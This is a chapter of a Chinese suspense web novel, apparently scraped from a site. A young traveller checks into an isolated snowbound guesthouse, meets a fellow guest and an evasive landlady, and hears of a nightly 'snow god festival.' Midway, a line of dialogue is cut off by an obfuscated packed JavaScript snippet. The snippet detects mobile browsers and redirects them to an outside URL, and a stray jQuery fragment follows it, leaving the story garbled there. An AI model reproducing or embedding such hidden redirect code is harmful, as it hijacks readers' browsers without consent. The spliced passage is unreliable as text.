王何驻带着行李，从大路走到积雪覆盖的小道，最后站在一家院落门口。
院子被一排栅栏围着。排栅门没关，还系着两盏红灯笼，风一吹，灯笼就撞在门牌匾上，发出一点声响，像病人在呻吟。王何驻打量一圈周边环境，这里确实有些偏僻，并不与其他建筑作邻居。
王何驻推开院门，走了进去，一条石板路从院门口铺到红砖平房。沿着走直接就是房门。
“请问有人吗？”王何驻大声问道，又敲了敲紧闭的房门。
没有人回应她。
她看了下手机，手机仅剩不足10%的电量。屏幕右角显示信号格的图标消失了。她尝试向民宿老板拨打电话，正如陈璐仁说的那样，没信号，无法拨通。
院中积雪有30厘米左右，大风刮过，扬起一阵雪沫。
王何驻转悠到平房的另一个门，敲了敲，风声盖过了她手指敲击在钢制入户门上发出的声响，她觉得里面大抵不会有人听到了。
“哐当”一声，门竟开了，是一位身材纤细的女性，十分年轻。她扎了条单马尾，穿一身海蓝渐变色呢子外套，白色毛衣作为内搭，收拾得干净利落，面容姣好，眉眼带笑。她打量王何驻，然后问道：“你是这儿的客人？”
“对，请问你是这家民宿的老板吗？”
“不，我也是这儿的客人，老板是刘大娘，她出去了，还有些时候才能回来，你先进来吧，往我屋里暖暖，外面冷。”
王何驻跟着女子进了屋，眼镜立刻起了白雾，女子递过来一张纸巾，王何驻道了声谢，拿纸巾擦了下眼镜，复又抬头环顾。
屋里干净明亮，窗子对着前院，能够看到屋外的景色。窗边是一张漆红木桌，上头摆着几本书，书皮古朴。书桌旁靠着一张暖炕，炕上的被子叠放整齐，炕下的鞋子摆放规矩。大衣柜就在床边。整个房间空间狭窄，却没有任何异味。
女子名叫赵尔雅，二十多岁，从大学毕业没多久，学的地理，听说这里发展了旅游业，缺人手，便来此地作向导，长租了这间屋子。
“就你一个小姑娘来？”赵尔雅问道。
“对，就我一个。”
“那可要小心了，这里吹‘白毛风’的时候，路不好走。如果需要的话，可以聘我作你的向导哦。我给你打个折。”
“我会考虑的。请问你有那种苹果接口的充电线吗？我想借用一下，等有空了，我再去村里商店看看。你们这应该有可以买到充电线的商店吧？”
“有的，稍等。”赵尔雅拉开抽屉，里面同样摆放整齐，她摸索了一下，找到一个三接口充电线，然后合上抽屉，把充电线交给王何驻：“这里生活的人几乎不会选择你这个牌子的手机，它太容易出故障了，遇到自然灾害什么的也很难及时预警。在这座村子的贮木场附近，有许多商店，会有卖充电线的。如果你晚上去参加山神，是‘雪神祭’吧？去参加‘雪神祭’的时候，可以看看。”
“只有晚上会举办‘雪神祭’吗？”
“不是，但晚上有篝火晚会和烟花，比白天热闹。”
院子中传来动静，赵尔雅往窗子外看了一眼，笑道：“刘大娘回来了。”
王何驻走出赵尔雅的房间，叫住刘大娘。
那是一个上了年纪、皮肤黢黑的女人，裹着绿色的头巾，像爬满苔藓的枯木桩子。她穿着一件陈旧的烟灰色棉衣，却戴了一副金耳环。她的反应有些呆滞，听完王何驻自我介绍后，愣了一会儿，才慢慢打开了一扇门。
她引着王何驻进屋，门内是一个穿堂，没有灯，靠着门外的雪取亮，光线很暗，屋内物件影子拉得老长，像潜伏的兽。她把王何驻安排在了草料房旁边的房间。房间还算宽敞，有独立卫浴，窗子朝着后院开，屋内有桌有炕，炕很大，能睡三四个成年人，炕上的被子被掀起一角，下面是烤焦的油皮纸。
王何驻上下扫了眼，总体上很满意这间屋子，她的要求不高，设备齐全就足够了。
她推着行李进屋，令人作呕的味道挤入她的鼻腔。她径直走到窗边，想要开窗通通风，却被刘大娘制止了。
“窗子钉死了，开不了。外面风大，窗不能开。”
“可是气味太重了。”
“什么气味？”
“粪便的味道。或许是牛粪马粪驴粪之类的。”
刘大娘吸了一下鼻子，说道：“没有，我没闻到。”
王何驻也不纠结，顺手把被子掀起的一角重新压回去，刘大娘却伸手，又把那被角掀回去，说道：“不要盖住，会烧坏的，这炕大，你睡不到这块。”
刘大娘离开屋子，留下王何驻一个人呆在屋中。
王何驻放好行李，脱下外套，给手机充上了电。虽然没有信号，照相、录音、手电筒、备忘录之类的功能依旧有用。
咔嚓一声，门开了。王何驻回头，发现刘大娘去而复返，抱着一些木柴。
“我给你把炕暖上。”刘大娘蹲下，用火钳往灶洞里添柴。
“好的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438717|169330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”王何驻没管她，只站在窗边，盯着后院的雪景。
“别老盯着雪看，眼睛会坏掉。今晚的‘神祭’，你去吗？”刘大娘冷不丁问道，声音很沉。
“什么神？”王何驻留意到她话里古怪，故作不知，试图多套点信息。
“就是篝火晚会，很多人，热闹。”刘大娘绕过了王何驻话里挖的陷阱，专注盯着灶洞中的柴火，答非所问道。
“是为了纪念‘雪六’吗？”王何驻不死心。
刘大娘却一言不发，当作没听见王何驻的话。
“我今晚不会去的。赶路太累，我需要休息。明天还会有祭祀活动吗？”王何驻换了种说法。
“会有的，一直会有。”刘大娘拿着火钳离开了。
七点左右，天彻底黑了，王何驻打算去寻点吃的，顺便归还充电线。她走到赵尔雅房门前，敲了敲门，无人响应，窗帘被拉上了，没有灯光外泄，尔雅估计不在屋内。
王何驻绕着这座红砖平房走了一圈，发现有间屋子开着门，从外望去，像是客厅，中间放了张圆桌，周遭物品堆放杂乱，厅堂连着厨房。王何驻走进去，提高音量，问道：“有人吗？”
刘大娘从厨房里慢悠悠走了出来。
“请问这家民宿是否提供餐饮服务？”
刘大娘盯着王何驻，没说话。
“你这里卖吃的吗？”
“有面条和水饺。”
“哪一种更好吃？”王何驻老毛病犯了。
刘大娘沉默。
“一碗水饺吧。”王何驻有了经验，不再继续。
王何驻坐在客厅的圆桌上，一边吃着水饺，一边打量着屋内。一张炕就放在厅堂靠墙的位置，上面乱糟糟堆着衣物，应是屋主人守夜用的。厨房边放着的柜子格外引人注目，里面摆放着各种各样的药酒，白底红字的打印纸贴在柜子旁的墙壁上，上书“一碗十元”。
一只大黄狗趴在角落，玩着手里的纸团，狗子发现王何驻在瞅它，甩了纸团，站起来，摇着尾巴向王何驻汪了几声，却没走上前，它被一根铁链拴着。王何驻看它寂寞，用筷子戳破饺子皮，将肉馅挑了出来，喂给大黄狗，大黄狗吃得很急。
刘大娘冷冷地看着，说了句“真浪费”，就回了厨房。
王何驻离开的时候，又扫了眼客厅，发现炕边床头柜竟放了张黑白照，挤在果盆之中。她走近瞧了眼，竟是个上了年纪的女人。出于尊重隐私之类的考虑，她没有细看，径直离开了客厅。